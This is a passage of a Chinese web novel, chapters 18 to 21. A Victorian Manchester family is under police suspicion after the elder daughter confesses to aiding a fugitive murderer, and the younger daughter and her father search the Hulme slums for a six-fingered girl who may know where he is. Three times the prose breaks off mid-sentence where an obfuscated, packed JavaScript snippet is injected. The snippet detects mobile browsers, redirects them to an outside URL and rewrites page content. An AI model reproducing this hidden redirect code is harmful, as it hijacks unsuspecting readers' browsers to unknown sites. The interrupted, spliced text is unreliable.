“我不知道那时怎么了,我很想阻止我的嘴巴可它不受控制,”事情败露后安娜的火焰也憋了下去,“爸爸,我不是故意的。我去和黛菲道歉。” 一阵噼里啪啦的声音响起。 “你现在最好的补救办法就是老老实实告诉警官谁才是‘那个女人’!” 狄默奇太太缓过来又抱住黛芙妮,亲吻抚摸她的发顶。 “不!他们会把我抓进去的!”安娜大叫,“黛菲什么都不知道,他们不会把她怎么样,但是我不行!” “我告诉过你了,你什么都不知道警官不会把你抓进去!” “我不可以赌的,爸爸!我不能!” 狄默奇先生望着面前歇斯底里的大女儿,一股无力盖过了盛怒。他实在是太困惑了,为什么安娜会变成这个样子。 无知、盲目、虚伪、自私、刻薄、毫无同理心,他已经看不出来她身上还有哪些优点。 是他教育出了严重的纰漏,他不应该漠视她平日里的骄纵行为、不应该忽略她的成长。 曾经的教授身份如今变成了一种讽刺,他教出了许多杰出的学生却教不好自己的女儿。 大概是他的表情太痛苦了,安娜真的开始害怕,她又一次缩起自己的利爪伏低做小:“爸爸,我当时太害怕了,你会理解我的对不对?” 黛芙妮捂住自己的嘴巴,她也想听爸爸的回答。 说不上来的期待他能说出严厉的话,好替她伸张正义。 “安娜,没人会理解你的行为,这件事最无辜的是黛菲。”狄默奇先生说。 “我知道的,我会和她道歉!”安娜迫切地说。 狄默奇先生的叹气贯穿了整个狄默奇家,是一种坦白、一种放弃:“即使黛菲能放下,我也不能。因为你到现在都没有意识到自己的问题,你最严重的问题不是盲目听从而是不善良,面对从小一起长大的妹妹你都能毫不留情地舍弃她,安娜你的血还滚烫吗?” 安娜全身颤抖,说不出一句话。 为什么爸爸就不懂呢,就不能多疼爱她一点呢?黛菲什么都不知道警官很快就会查明她的清白,而她不一样的,她和艾莫斯曾经是...... 看着狄默奇先生逐渐冷下来的眼睛,她知道她再不做出点什么就完蛋了。 于是她生出一股力气冲进小会客室,跪在黛芙妮的面前,祈求她的谅解。 “黛菲,你会原谅我的对不对,我们是最要好的姐妹啊,你帮帮姐姐吧。” 黛芙妮失望地转过头,安娜为什么总要逼她,为什么要这么激动。 “因为我知道他是杀人犯!”安娜跌坐在地毯上,哭喊,“我一早就知道了!所以我让他来曼彻斯特!” 18. 真相 整栋房子寂静得仿佛是一座坟墓,安娜的哭声更显得可怕。 黛芙妮忘了哭泣,她瞳孔猛地收缩,好似看到了什么可怖的东西。 狄默奇太太抖着手怎么也打不下去,她将双手插在头发里嘴里念念有词,她在向上帝赎罪。 “你——”狄默奇先生用一种陌生的眼神看向安娜。 他的声音像是个机关,暂停了安娜哭容,这一刻她变得无所畏惧:“戴夫爱我,我很肯定。在利物浦的时候我想要什么他都会满足我,即使这常常迫使他不得不把商品快速低价处理,因为不这么做他连吃饭都要成问题了。” “爸爸妈妈你们总是对我说‘我爱你,安娜’,但我知道是假的!”安娜恶狠狠地站起来,“你们心里只有黛菲!你们会满足她的所有需求可不会满足我的!包括可恶的佣人!你们都是骗子!我在戴夫身上才能真真切切地感受到被爱的感觉,我有错吗?” “他告诉我惹上麻烦的时候,他真的来曼彻斯特的时候,你们都不知道我的心跳得有多快,我是他的整个世界他不能没有我,那种被人需要的感觉那种全身心的爱让我好像重新活了一遍。” 安娜抬着下巴像骑士一样,可她剑下的不是恶人而是爱她二十年的家人。 狄默奇太太惊惧交加下尖叫出声,黛芙妮被刺耳的声音打醒,她最想做的是逃离这里然后向上帝诉说,她的姐姐生病了。 “你疯了。”狄默奇先生气息不稳,他不再允许安娜多说一句抓起她的胳膊直接将她扭送到卧室,还让卡丽找把锁来。 安娜也不反抗,刚刚的一番演讲和之前的崩溃都已经掏空了她的精力。 小会客室里,狄默奇太太双手握着十字架不说话。 黛芙妮彻底糊涂了,安娜为什么会觉得爸爸妈妈对她是虚情假意,难道只有纵着她的粗鲁自大才算爱吗,还是说她只是不满——她的存在。 可是她也很委屈,从小到大安娜没少仗着姐姐的身份捉弄她,甚至长大后更是一点没有收敛,这些她都可以不计较但是为什么安娜还不满足。 到了晚餐的时候谁也没有胃口,黛芙妮除了生病第一次没去餐厅,她躺在床铺上企图搞明白所有的问题。 狄默奇夫妇在睡前来看她,亲吻她的额头,让她不要胡思乱想。 但是大脑不就是用来思考的吗?只有死去它才会停下。 幽幽的煤气灯光下,她靠坐在床头翻起《圣经》,想要从里面获得一些帮助。 现在,比起哭泣她更在意的是安娜态度,即使知道她是怎么样的人也会被伤得遍体鳞伤。 她虽然惯会为别人找借口但不是什么都不懂,她和安娜再也回不去了,连最熟悉的陌生人都没得做了。 安娜这下彻底将她还有爸爸妈妈全部推到了对立面,以黛芙妮对她的了解她现在一定在后悔。 也许过几天她又会假装一切都没有发生过,认为软言软语的几句就能掀过这一页,这是她的本性也是她惯常的把戏。 比如每次出去参加宴会管不住嘴的时候,一旦爸爸妈妈教育她她再不情愿答应的都很快可过段时间又会卷土重来。 当她们还小的时候黛芙妮也期望安娜是个温柔贴心的姐姐,后来她又降低希望只求能和安娜在年迈的时候心平气和地喝一次下午茶就好了,如今...... 黛芙妮冷静地分析安娜的心理过程和性格,最后她得出一个令人失望的答案:安娜在一次次的成长选择中迷失了自己,而她没有办法将她拉回来了,因为安娜对她的恨超过了爱。 “生气却不要犯罪,不可含怒到日落,也不可给魔鬼留地步。”她低喃着《圣经》上的这句话。 她合上书本,微弱的灯光消失,将今天最后一滴眼泪推之门外。 湿润的风裹着几丝棉絮摇摇晃晃地吹到牛津路,落在窗台那株重新发芽的盆栽上。 家里厚重的沙发巾和坐垫陆陆续续地洗净收起来换上更轻巧的装饰。 卡丽的围裙也从脚踝处缩短至小腿中部,她忙忙碌碌地将烤鸡切成块端出去,餐桌边坐了两个人。 “把太太她们的那份先端上去。”狄默奇先生对她说。 “惠特妮已经去了。”卡丽说。 狄默奇先生点头,黛芙妮安静地吃着鹰嘴豆豆泥。 “今天太太好些了吗?”狄默奇先生又问。 “还是老样子。”卡丽说,“从太太躺下已经一周多了,药也吃着就是起不来。” “明天让医生再来看看。”狄默奇先生说。 卡丽犹犹豫豫最后一咬牙:“先生,我看没必要请医生了,他们什么都不知道只会让你吃药。太太是心里不舒服。” 黛芙妮放下勺子:“爸爸,警官们怎么说,抓到艾莫斯了吗?” 那天两个警官上门的最主要原因是艾莫斯再一次逃跑了,他们怀疑他可能会来这儿才会上门调查。 “明天上午他们还要来一次,所以大概率是没有。”狄默奇先生说。 “又来?”卡丽嚷嚷,“来一次就搅的这栋房子天翻地覆的,到底还要来多少次。” 狄默奇先生叹气,也没了胃口。 等到第二天上午,黛芙妮心神不宁地拿着一本书坐在沙发上打发时间,狄默奇先生也请了半天假等两位警官再次登门。 “狄默奇先生,黛芙妮小姐。”胖警官满脸疲惫。 他们带来了新的消息,艾莫斯先生最近在休姆街区出现过。 那里离牛津路不算太远,所以他们又一次想要来调查狄默奇一家是否知道新的消息。 “抱歉,我们什么都没有得到。”狄默奇先生疲惫地说。 “两位小姐都没有收到艾莫斯的消息对吗?”胖警官问。 “没有,她们整天都在家里,很久没有出门了。”狄默奇先生说。 卡丽去买菜了,这会儿惠特妮也没上工,所以只能是黛芙妮起身去厨房倒茶。 心绪浮动的厉害,她将瓷杯和茶壶放在托盘上上了楼梯往大会客室走。 “先生,请你冷静,我们也只是说最差的可能。”瘦警官说。 黛芙妮一口气提在心头,她没有走进去而是躲在墙后。 “一旦我的两个女儿全部以嫌疑犯的身份走进警局,她们就被毁了!我也很想冷静但这不公平。”狄默奇先生努力克制喷涌的怒火。 黛芙妮差点把托盘砸在地上,因为手臂变得软绵再也抬不起一壶茶,她慌乱地将托盘放在柜子上,一动不动的。 “我们保证没有人会说出去的。” “先生,你们相信吗?”狄默奇先生质问,“她们会成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442323|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为全城的谈资。” “这只是一种最坏的可能。不瞒你说,我们警方认为这周一定能将艾莫斯捉拿归案。”胖警官说。 “拜托。”狄默奇先生无力地说。 两名警官最后也没喝到一口茶水,因为黛芙妮已经不能提起精神去招待他们了。 两位警官在出大会客室的时候和黛芙妮对上,他们叹气摇头离开了。 等他们走后,黛芙妮往前抓住狄默奇先生的手:“爸爸,我听到他们要将我和安娜带去警局?” 狄默奇先生安抚她:“别担心,黛菲。他们说了这周就能将艾莫斯抓回来,你什么事都不会有。” 黛芙妮很想乐观相信对可事实不是这样的,艾莫斯从利物浦潜逃至曼彻斯特,前前后后加起来快一个月了都没人抓到他。 而且她很清楚,此刻她和安娜还能好端端住在这里是托了狄默奇先生在社会上勉勉强强的一点声望,那些警官才没有直接要求他们协助,可这点身份又能维持多久呢? 狄默奇先生想过向自己的朋友求助,可在曼彻斯特有影响力又和他相熟的只有艾肯先生、康斯坦丁。 他想,人抓不到求助他们也没有用。 不过万一真的没办法了想来也只能上门请求帮助了。 既然断定他们在此刻的抓人上出不了力那就尽可能的不把这件事传出去,不能影响女儿的名誉。 而且他内心也是不相信艾莫斯能逃这么久的,他没有钱很快就会撑不下去。 “他会不会已经去其他地方了,比如默西塞特郡或柴郡?”黛芙妮头脑混乱地问。 “不会的,所有能通向其他地方的途径都被警方控制了,他不能逃出去的除非他会飞。”狄默奇先生开了一个玩笑想要缓解黛芙妮的情绪。 可惜只是徒劳。 到了第二天早晨,贝拉突然上门拜访让黛芙妮措手不及。 “我注意到有警官敲开你家大门,发生什么事了?”贝拉拉过她的手,关心地问,“黛芙妮,你看起来很憔悴,你瘦了。” 黛芙妮不敢告诉她实情,对朋友撒谎让她难过和心虚,垂下眼睛说:“没什么,最近家里少了东西爸爸让他们来调查。” “偷窃?天呐!”贝拉惊呼,“抓到了吗?” 黛芙妮摇头。 贝拉很快就发现安娜和狄默奇太太长时间没露面。 “妈妈她因为盗窃的事被吓到了,安娜也是。”黛芙妮说。 一段感情的维持需要真心和坦诚,可她却羞愧的都没有做到。 “邻居中有几个爱说话的在讨论你们遭了什么事,你别理他们,他们总是这样,恨不得了解每户人家一天用掉多少粒米才好。”贝拉说。 “总得让老斑鸠们有跳跳脚的机会。”黛芙妮笑着说。 贝拉被她的话逗笑了,接着她又假装抱怨黛芙妮一周都没有来找她也没有应她的邀请。 “贝拉,抱歉。”黛芙妮惭愧,“我得——照顾妈妈和安娜。” “可怜的狄默奇太太和安娜,我想可能和你们还没习惯这儿的天气也有关系。”贝拉说,“如果需要帮助,让那个呆愣愣的惠特妮来一百十五号找我。” 黛芙妮送她离开,又回到沉闷的房子里数着时间期待下一秒警官就来告诉她艾莫斯被抓到了。 19. 新的线索 三天,整整三天,没有一个上门的来宾,没有一点吹来的新消息。 黛芙妮站在窗边望着街道出神。 她安静的如同一个摆件,可谁又知道表面下的汹涌。 妈妈病的连前两天的主日都去不了,安娜静静地不再大吵大闹,三楼空寂的经常让她觉得已经没有除了她的活物了。 爸爸的肩膀绷得像块铁板,谁也没办法让它软下来即使是他自己。 主人家的气氛传染到佣人们当中,就连卡丽都尽量不发出多余的声音,踮着脚走来走去,常常把她累得不轻。 一片死寂,如这座城市带给她的感觉一样,它感染了狄默奇一家。 但这会儿她不想抱怨这座城市怎么样,她只为眼下的事愁闷。 他们是被动的,是束手无策的。 不能离开这里,不能为证明自己努力。 黛芙妮悲哀地遮住湿润的眼睛,她难过地打算离开这里去三楼,去自己的卧室哭一会儿。 当她路过安娜的房间时,她久违地听到了一点动静,安娜似乎在抱怨整天关在卧室里不能出去的痛苦。 黛芙妮推开她的房门,一双带着愤怒的湿漉漉的眼睛直直射向蓬头垢面的在床上翻滚的安娜。 安娜被她的动作吓了一跳,更被她带泪的眼睛惊到。 “如果你想出去,去吧!”黛芙妮对她说。 安娜从床上下来:“你说真的?” “是的,但是我有个条件,你得先去趟警局。” “噢!我就知道你是来奚落我的。”安娜一翻眼睛,重新坐在床边。 黛芙妮关上卧室门,往前走几步:“我不是,但是我确实有些事想告诉你,因为我觉得你有义务知道,这是你惹出来的麻烦。” “你还说你不是来奚落我的!”安娜高喊,“我知道错了,行不行!” 黛芙妮双手交握垂在腹部,对安娜的态度已经生气到麻木了:“艾莫斯有没有和你说过他的具体住址?” 安娜奇怪地看她:“不,你为什么要问这个问题?” “因为他潜逃至今都没有被抓到,”黛芙妮语速渐渐变快,“这直接导致了一个悲惨消息的诞生,三天前警官上门说如果一周内都抓不到他,所有的嫌疑人都将被传唤!我想你应该明白什么意思?” “天呐,”安娜愣愣地看她,她的脑袋只有在思考自己未来的时候才会格外灵活,“我不能去的!” “难道你觉得我能去?”黛芙妮将眼睛的泪花擦去。 安娜站起来在床上来回转圈,嘴里念念有词,基本是辱骂艾莫斯的话和抱怨自己时运不济以及对自己将来不能找个有钱人嫁了的恐惧。 黛芙妮猛地发现了安娜为数不多的优点,那就是头脑简单到不足以让她去想过于复杂的问题这样她也感受不到多少外界的压力。 “别再抱怨了,我已经听得够多了。”黛芙妮说。 安娜穿着睡衣蹦下床,赤脚踩在木地板上:“那你什么意思?”她生怕黛芙妮把她拉出去,紧贴在墙角。 “本来没想到,但现在——艾莫斯有没有告诉你他之前的住址?” “这不是警官该做的吗?你问我有什么用,我被见天的关在这儿哪里也去不了。”安娜又开始发泄自己的不满。 “你可以在这栋房子的任何地方移动除了后院,只是你自己总是不愿意出卧室。”黛芙妮说,“以及那些警官如果真的那么聪明就不会到现在都抓不到一个对这里并不熟悉的逃犯。” “我不知道!他没有和我说过!”安娜抓狂。 黛芙妮失望地转身,对她说:“我很高兴,就算去监狱至少还有你陪我。” “等等!”安娜叫住她,“我真的不知道他在哪里,但我记得他从前给我寄过几封信——别想了,那些信没有地址,他让一个小孩送来的。” “你还记得那个孩子长什么样吗?”黛芙妮雀跃地问,这是一个新的线索。 安娜咬住手指,陷入回忆:“我记得,我当然记得,就是那个六指的小恶魔!真不知道戴夫为什么要让这么晦气的人来送信,完全破坏了我的心情,虽然他解释那个小恶魔只需要一点点糖块就能搞定——” “所以,那个小姑娘在哪里?”黛芙妮打断她的话,直接提取重点。 安娜瞪大眼睛:“你觉得我会去问她住在哪里吗?我恨不得她消失在我眼前,要不是她长了六根手指谁会记得她!” 黛芙妮激动地拉开卧室门,对她说:“你真应该感谢她,还有她不是恶魔。” 她现在不想回房间了,那个小姑娘很有可能知道艾莫斯住在哪里,就算不知道住在哪里也一定知道他总是在哪一片区域让她跑腿送信。 黛芙妮急匆匆地跑下楼梯,她在一楼的大会客室那儿不停地走来走去等待狄默奇先生下班回来。 从一点等到四点,转悠的那块木板都快被她踩得油光水滑的狄默奇先生才出现。 卡丽帮他脱外套的时候还在说:“也不知道黛芙妮小姐怎么了,一个下午就在这儿站着。先生,你再不回来我敢打赌她就要冲去你上班的地方了。” 黛芙妮围在狄默奇先生身边,想拉他去书房。 “怎么了?黛菲。”狄默奇先生被她推进书房,满头雾水地问。 “爸爸,我有一个新线索!”黛芙妮说,“安娜告诉我,艾莫斯给她送信常常拜托同一个小姑娘,我猜那个小姑娘一定知道什么!” 狄默奇先生连忙追问:“安娜有说其他的吗?那个小姑娘是谁?” “她什么都不知道的,但是我见过那个小姑娘,在休姆街区。”黛芙妮说。 “我们早该问问安娜了,愚蠢!”狄默奇先生一拍自己的脑袋。 “爸爸,我打算马上——明天早晨,现在天黑了,明天早晨就去休姆街区打听那个小姑娘的住址。”黛芙妮说。 狄默奇先生一听立马摇头:“不行,你不能去!你去过那里你也听过那儿的名声,我绝不会让你去的,我明天一早就让——” “我们没有可支配的人了,爸爸。”黛芙妮尽力说服他,“我们不能让别人知道,妈妈和安娜谁也帮不上忙,卡丽也不能离开这里否则没人照顾她们。” “惠特妮,别告诉我你打算让惠特妮去。”黛芙妮又说。 “我自己去,明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462957|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早。”狄默奇先生说。 “我也去。”黛芙妮强硬地要求自己同往,她实在是受不了等待的滋味了,“我们叫上道奇,他是本地人,比我们更了解休姆街区。” 狄默奇先生纠结了很久,最后还是如了黛芙妮的愿。 正好此时道奇来敲门告知主人家他已经将马匹和车厢打理干净,马也吃上了食物,他可以下班了。 “道奇,你了解休姆街区?”狄默奇先生没让他走。 黛芙妮站在爸爸后面,观察这个一脸忠厚老实的车夫。 道奇摸不着头脑,但主人家问什么他就答什么也没起什么小心思:“我小时候在那儿长大,后来赚了点钱就搬出去了,现在就住在市集的后面。” “明天我打算去一趟那儿,你能给我指路吗?当然你的加班费我会照常支付。” 道奇点头,虽然不知道他们去做什么但有钱拿就没问题。突然他想到前些天警官来的事情,心里有了一点猜测。 惠特妮不是多嘴的人,但耐不住卡丽有时候会自言自语,他听到了一点点大概是狄默奇家有了麻烦。 不过没关系,只要给钱什么都好说。 走前他提醒狄默奇先生和黛芙妮:“先生,小姐,去那儿最好穿得低调些。” 因为他这句话,晚上黛芙妮翻箱倒柜地找出一条最朴素的裙子,半旧的深蓝色棉纺布料,半袖方领,没什么花纹。 第二天一早,她就坐在餐厅等吃过早餐就出发。 “小姐?你要做什么去?”卡丽大惊小怪地呼叫,围着她转。 “卡丽,我和爸爸早上要出门办点事很快就回来,别告诉妈妈。”黛芙妮叮嘱她。 “你们要去哪里?是不是——”她弯下腰小声说。 黛芙妮点头:“别担心,我保证我们会安全回来。” 卡丽欲言又止最后妥协地点头。 狄默奇先生不知道怎么瞒过狄默奇太太眼睛的,穿了一身他五六年前去林肯郡和朋友旅游的便服。 面料发硬、褪色、袖口发毛都是这件衣服不值一提的缺点。 下面的裤子倒是比衣服好些,脚上是一双穿旧的皮鞋。 “怎么样?”他问。 “像个低调的教授。”黛芙妮说,“总之不像穷人。我呢?” “像体察民情的公主。”狄默奇先生说。 两人面面相觑,直到道奇出现:“先生,小姐,这样足够了。打扮成那些穷人对你们来说太难了,不是一个晚上就能成功的。” 有了他的话,狄默奇先生和黛芙妮安心了,他们也不坐马车去,走路比较符合他们想要表达的身份。 道奇走在前面,黛芙妮挽着爸爸的胳膊听他说。 “尽可能不要说话,不要看来看去,不要理会别人。” “道奇,我们是去找人的。”黛芙妮和他解释,不说话可能做不到。 “找人?你们找谁?”道奇转头问。 黛芙妮和爸爸对视一眼:“一个小姑娘,身体有些异于常人,她有六根手指。” “上帝。”道奇平时被额头上耷拉的皮压得看不见的眼睛,瞬间大了起来。 20. 休姆街区 “我从未听说过休姆街区来了一个六根手指的小姑娘,不过也有可能我离那儿有些日子了。”他说,“小姐,你确定没有看错吗?” “是的。”黛芙妮回他,想来安娜也不会认错。 “好吧,我敢打赌这样的特征你们绝对能找到她。”道奇说。 黛芙妮再次来到这片街区,这里似乎没有时间,一切和那天见到的画面一模一样。 泛黑的墙壁、麻木的女人、机械的搬运工、瘦弱的孩童。 这次他们做了准备来,虽说还是很打眼但大部分看两眼就过去了,不像上次那样时不时地打量。 “这是背街,最边缘的地方,这边还算可以毕竟离牛津路不是太远。”道奇说。 黛芙妮听得认真一时没注意脚下踩进一个水洼,差点崴了脚。 道奇指向地面,“小心,碎石路已经是非常好走的了,再往里面去点,噢!那些泥路才是要命,特别是下雨的时候你别想拥有一双干燥的袜子。” 这条街道铺设碎石基路,两侧加装铸铁路缘石,用于抵御运输棉花包的超重马车反复碾压。 “那边基本是工人棚屋,住着纺织工人和一部分爱尔兰人。”道奇说,“刚刚那几栋红砖建筑都是厂房,工人住的地方可没这么好。” 黛芙妮和狄默奇先生大感震惊,一路默默听道奇的介绍来到买下小花篮的地方。 “就是这里。”她对狄默奇先生说。 三人四处寻找可惜并没有发现,只有零散几个瘦削的女人在街头处理鸡的内脏。 “也许我们可以问问。”道奇说。 黛芙妮皱眉纠结,不问很可能找不到问了又怕给那小姑娘招来大麻烦。 “别太担心,”道奇说,“住在这里的人没有外面那么看重外貌,你知道的,他们甚至挤不出多余的木材来举办一场‘猎巫大会’。” 狄默奇先生对他点头,道奇迈开腿朝那群女人走过去。 “把脸遮住。”狄默奇先生又对黛芙妮说,接着他也将帽子压低些。 黛芙妮戴了一顶巴掌大的帽子,不足以遮住自己的上半张脸,于是从口袋里拿出一条丝巾系在脖子上,将小半张脸埋进去。 他们站在道奇和那些女人的十步开外,不再靠近。 很快道奇向他们摇头,这些人并不能提供一点线索。 “也许我们需要去深处问问。”道奇说。 三人原路返回,重新站在分岔路口。 往前通到哪里黛芙妮和妈妈、安娜已经走过了,往右是刚刚那几个女人在的地方,左边就是前往真正街区中心带的方向。 狄默奇先生将手搭在黛芙妮的肩上,尽可能将她藏在身侧。 黛芙妮的肩膀有些痛但此时正好能给她带来安全感。 道奇走在前方领路。 从左边这条巷子走进去,碎石路就不曾踏足了。 泥泞的黑泥和污水是这片区域的地表霸主之二,另一个则是数不清的垃圾。 “这些就是工人住的棚屋了,大多是三面墙壁共用就留一面通风。”走了一段路,道奇说。 狄默奇先生伸出手指敲击墙壁:“太薄了。” “先生,指望屋子保暖不如指望一同居住的人家够多。”道奇笑起来。 “什么意思?”黛芙妮问。 “通常来说一间十到十二平方米的房间常挤四到六个人。” 黛芙妮惊呼,她太吃惊了甚至都忘了来这里的目的。 同样的还有狄默奇先生,活了四十多年还第一次见这样的场面。 “这里供水不足,数十户共用一处水龙头且常安装在厕所旁,那水脏得要命。”道奇说。 这会儿是上工时间见不到几个成年人,半大的孩子也很少,只有些老弱病残在忙活些什么。 “工厂不要他们,他们就只能自己找点事做,除非去济贫院但那儿是实在过不下去的人才会去的。”道奇说,“在那里不比在工厂轻松,每日从事十一个小时繁重劳动,比如砸石头、拆缆绳,这些活仅仅能换取稀粥与草席。” 黛芙妮看到一个头上裹着破布的老女人坐在地上浆洗衣物,她没什么力气每砸一下就要喘口气。 在她身边是一个头发稀疏的小孩,他在整理一层薄薄的煤渣想要将它们倒进篮子里。 “他们难道不能申请救济资格吗?”狄默奇先生全程蹙眉,看到那些孩子舔舐脏兮兮的手指时于心不忍地撇过头。 “可以,但非常少并且只有几张短期食物券。”道奇见怪不怪地摇头,“有些人还会故意犯轻罪入狱获得基本食宿,不过一旦选择这样做就再也别想获得救济资格了。” 黛芙妮深吸一口,窒息感太强,仿佛这里的空气都被压在头顶的煤烟抽走了。 越往里走,巷子越脏乱,老鼠成群结队跑过,吓得她尖叫出声。 “只是老鼠。”道奇看了一眼,“啊,我看到熟人了,也许我们可以问问他。” 黛芙妮的鼻子快要罢工了,这地方臭不可闻,她绝不能将丝巾拿下来否则很可能被臭味袭击身亡。 狄默奇先生时不时地蹂躏鼻头、打个喷嚏来缓解鼻子的压力。 “威尔!”道奇叫住一个正要去打水的瘸腿老头。 老头转动迟缓的脑袋,眼睛雾蒙蒙的像沾了灰尘的玻璃珠子:“道奇?” “是的,是我。你这些年过得还好吗?”道奇站在他面前凑近些让他看清。 “道奇!你回来了!”老头欢喜地放下生锈的水桶去拥抱他,“我暂时还死不了,还能做点活呢!” 道奇拍拍他的肩膀:“我有些事想问你。那两位是我的雇主,他们来这里找个人。” 老头眯起眼睛使劲瞅着:“我还以为你发达了。” “我还不够发达吗?我这把年纪能做车夫搬出去已经是天大的好事了。”道奇说。 “是啊,总比在这里有盼头。”老头平静下来,“所以,你们想打听谁?” 道奇看了一眼拘谨的狄默奇父女压低声音:“一个小姑娘,有六根手指。” “我知道她,可怜的小家伙。”老头说,“她和她的妈妈似乎住在地下室那片,具体在哪里我就不确定了。” 道奇向狄默奇父女点头表示得到了有用的信息。 “感谢,先生。”狄默奇先生对老头说。 老头多看了他两眼。 “先生。”黛芙妮从口袋里拿出两枚先令给他。 本来并没有打算给除了小姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479152|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘以外的人,但黛芙妮看了这里的环境和他们的吃穿,胸口被石头压住一样难受得要命,迫切地想要做些什么好让那股难受劲排出去。 两枚先令对她来说不算多,但对这些人来说弥足珍贵。 老头一开始看不清黛芙妮手里的东西,等伸到他面前才发现是硬币:“我什么都没做。” 他摇头拒绝,提起水桶打算离开。 “先生,拿去吧,你帮了我们大忙。”狄默奇先生拿过黛芙妮手里的硬币再次递给老头。 “感谢。”老头认真又努力地看了狄默奇父女几眼,最后只拿走了一先令,玩笑似的说,“这都快足够买我的命了。” 明明在温饱线上挣扎却还坚持心中的底线,他的行为给黛芙妮和狄默奇先生带来了巨大的冲击。 黛芙妮看向他佝偻的几乎要和地面平行的背,支撑他行走的是手里一根歪扭的树根‘拐杖’,腿一跷一跷的提着空水桶消失在另一条巷子的尽头。 “威尔年轻的时候足有五点七英尺高,现在只剩下一半多点了。”道奇苍老的脸又皱得跟哈巴狗似的。 “那位先生的腿是怎么受伤的?”走在前往地下室片区的路上,黛芙妮问。 “在工厂干活的时候出了意外被卷进机器了,那个黑心的工厂主一开始还拒绝赔付医药费说是威尔自己不遵守规则犯下的错要他自己承担。”道奇说,“小心这里有个坑。” 黛芙妮在爸爸的帮助下跨过去。 “后来呢?”她问。 “工友们联合起来为他力争权益,他的命才能保住。其实要不是为了孩子我想他当时就拒绝医治了。”道奇说,“以他的情况只要活着就能领一点救济。” 接着谁也没说话,只有长长的沉默、沉重如海啸的呼吸在颤抖。 走了好一会儿他们才离开‘背靠背房屋区’,走上一条碎石路。 这里多了很多人,街边也宽敞许多,还有几家杂货铺和饭店,在街角的位置黛芙妮还瞧见了一家酒馆。 “这一块属于厂区,那些高大建筑就是工厂了,地下室就在这些建筑的下面。”道奇指向远处的一片连绵厂房。 “他们住在工厂地下?”狄默奇先生怀疑自己听错了。 “没错,为了节省土地成本,工厂主通常采用‘下住上工’的模式。”道奇说,“一般来说只有最贫困的家庭才会选择住在那儿。” 黛芙妮唇部抿成一条线。 “我们将这种生活称为‘传统’。”道奇很平静地说,好似一点也不在意。 绕过工厂,再次走进小巷。 道奇见到两个凑在一起说话的年轻姑娘立马问她们知不知道这附近住着的六指小姑娘。 年轻的姑娘往前方一指,接着就开始盯着黛芙妮和狄默奇先生。 “先生,你需要帮助吗?”其中一个姑娘笑着问狄默奇先生,举止大胆目光妩媚。 道奇赶忙伸出手将她们赶走,两个姑娘不情不愿地往外走了几步,站在巷口望向他们。 她们还很年轻但调情的手段异常熟练,显然不是一天两天这么做了。 黛芙妮是非常反对妓院的,但此时此刻此景她根本就生不起一点生气的情绪只有对她们的同情,包括狄默奇先生。 21. 新线索 “从这里走下去。”道奇招呼黛芙妮和狄默奇先生跟上,“这里我都多少年没来过了,还是一如既往的糟糕。” 他走在前面嘀嘀咕咕的,偶尔提醒主人家小心四周。 走下几阶脏兮兮的台阶,黛芙妮站在漆黑的没有光线全靠几盏有气无力的煤气灯做着照明工作的走廊搓了搓手臂,这里又闷又湿。 刚下来就是一个分岔路口,他们选择去左边,因为那里有一个女人站着。 黑黝黝的墙壁上是一层层苔藓和水垢,两边的墙角还堆着发臭的垃圾,地下室没有窗户,空气非常不流通味道极其难闻。 黛芙妮控制不住地干呕,狄默奇先生将她的丝巾牢牢捂在她的鼻子上,希望她能好过些。 “先生,那个人想要一些报酬。”道奇和那个女人交谈过后回来说。 狄默奇先生同意支付她一便士,然后得到了小姑娘的门房号。 来到走廊尽头,眼前木门的最下方已经被污水腐蚀,这道门道奇都得小心翼翼地去敲才行。 好半晌露出一条缝来,黛芙妮三人甚至看不清门后是个什么,因为一点声音都没有。 道奇看了眼狄默奇父女:“你好,我叫道奇,有些事想要找你们问问。” 安静,沉默。 眼看着就要将门关上了,黛芙妮挣开爸爸的手,露出脸来:“等等!请问你们之前是否在街头卖过花?” 过了几秒,那门缝变大了,这下众人才看清是个小姑娘。 黛芙妮在看到她的时候,高兴地露出笑来:“你还记得我吗?我从你手里买过一篮花,当时还有另外两位女士在场。” 嘀嗒嘀嗒,水珠独唱了半天。 “我记得你。”小姑娘慢吞吞开口,她头发粘嗒嗒的贴在脸上,身上套了一件看不出原貌的宽大外套。 “你妈妈在家吗?”黛芙妮俯下身问,“我们有些事想要了解一下。” “她出去了。”小姑娘说,她也不说让他们进去,四人就僵持在门口。 “她什么时候回来?”道奇问。 小姑娘看了他一眼,门缝又合上了一半。 “别害怕,我们没有恶意,只是想来问几个问题。”黛芙妮对她摆手,然后转头问爸爸,“她应该比她妈妈更清楚,我们不如直接问她?” 